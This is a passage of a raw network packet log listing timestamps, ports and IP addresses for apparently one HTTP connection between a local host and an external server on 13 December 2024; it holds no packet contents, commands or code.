Dec 13, 2024 08:20:08.302346945 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.302390099 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.303668022 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.303715944 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.303852081 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.303894043 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.305211067 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.305298090 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.305296898 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.305355072 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.306483030 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.306545019 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.306581020 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.306629896 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.307984114 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.308037043 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.308075905 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.308115959 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.309346914 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.309417963 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.309437990 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.309479952 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.310776949 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.310926914 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.310975075 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.312180996 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.312232018 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.312294960 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.312433004 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.313766956 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.313831091 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.313878059 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.313924074 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.315041065 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.315085888 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.315162897 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.315370083 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.316450119 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.316560984 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.316607952 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.317859888 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.317905903 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.317934990 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.317970037 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.319443941 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.319511890 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.430438995 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.430458069 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.430496931 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.430531025 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.430636883 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.430671930 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.430802107 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.430839062 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.431701899 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.431745052 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.431802988 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.431839943 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.432730913 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.432785988 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.432848930 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.432887077 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.433758974 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.433799982 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.433866024 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.433913946 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.434798956 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.434849977 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.434899092 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.434940100 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.435791969 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.435837984 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.435909033 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.435954094 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.436822891 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.436883926 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.436920881 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.436963081 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.437814951 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.437855005 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.437972069 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.438014030 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.438844919 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.438926935 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.438945055 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.438987970 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.439825058 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.439862967 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.439901114 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.439939022 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.440814972 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.440866947 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.440927982 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.440964937 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.441792965 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.441848040 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.441879034 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.441914082 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.442751884 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.442790985 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.442861080 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.442895889 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.443766117 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.443813086 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.443862915 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.443902016 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.444724083 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.444763899 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.444856882 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.444894075 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.445703030 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.445748091 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.445817947 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.445856094 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.446701050 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.446738005 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.446820021 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.446856022 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.447668076 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.447706938 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.447784901 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.447823048 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.448673010 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.448708057 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.448786020 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.448829889 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.449726105 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.449769020 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.449800014 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.449836016 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.450656891 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.450694084 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.450778961 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.450817108 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.451662064 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.451795101 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.451806068 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.451848030 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.452687025 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.452723026 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.452752113 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.452785969 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.453674078 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.453715086 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.453742981 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.453777075 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.454545975 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.454585075 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.454642057 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.454675913 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.455537081 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.455579996 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.455642939 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.455681086 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.456497908 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.456552982 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.456595898 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.456631899 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.457495928 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.457535028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.457587957 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.457623959 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.458482027 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.458523989 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.458548069 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.458587885 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.459403038 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.459445953 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.459517956 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.459553003 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.460437059 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.460485935 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.460529089 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.460566044 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.461397886 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.461436033 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.461512089 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.461555958 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.462364912 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.462409019 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.462476015 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.462522030 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.463381052 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.463427067 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.463480949 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.463529110 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.464351892 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.464396954 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.464426994 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.464464903 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.465336084 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.465364933 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.465378046 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.465403080 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.466312885 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.466361046 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.466403961 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.466439009 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.467297077 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.467344046 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.467396975 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.467432976 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.468316078 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.468390942 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.468408108 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.468456030 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.469245911 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.469288111 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.469367981 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.469403982 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.470247984 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.470290899 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.470345974 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.470382929 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.471250057 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.471295118 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.471343040 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.471381903 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.472239017 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.472295046 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.472311974 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.472358942 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.473258018 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.473303080 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.473320007 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.473356962 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.474200964 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.474251986 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.474314928 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.474350929 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.475189924 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.475239038 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.475368977 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.475405931 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.482017994 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.482074022 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.482093096 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.482129097 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.482429028 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.482470036 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.482531071 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.482568979 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.483426094 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.483464956 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.483527899 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.483568907 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.484424114 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.484466076 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.484555960 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.484592915 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.485371113 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.485411882 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.485471964 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.485516071 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.486365080 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.486413002 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.486459017 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.486495018 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.487391949 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.487428904 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.487433910 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.487463951 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.622730970 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.622785091 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.622836113 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.622874975 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.623231888 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.623267889 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.623374939 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.623410940 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.624201059 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.624249935 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.624310970 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.624346018 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.625209093 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.625242949 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.625365973 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.625406981 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.626174927 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.626215935 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.626312971 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.626641035 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.627260923 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.627329111 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.627391100 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.627432108 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.628139973 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.628184080 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.628377914 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.628426075 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.629127979 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.629173040 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.629332066 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.629384041 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.630129099 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.630181074 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.630213976 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.630256891 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.631114006 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.631165981 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.631196976 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.631237984 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.632097006 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.632142067 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.632153988 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.632181883 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.633141041 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.633193970 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.633213997 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.633266926 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.634012938 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.634057999 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.634150982 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.634196043 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.635011911 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.635065079 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.635078907 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.635121107 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.635991096 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.636040926 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.636076927 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.636122942 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.636961937 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.637032032 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.637063980 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.637109041 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.637976885 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.638017893 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.638053894 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.638098955 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.638947010 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.639003038 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.639091969 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.639134884 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.639899969 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.639946938 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.640013933 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.640055895 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.640899897 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.640945911 CET	49938	80	192.168.2.11	185.81.68.147
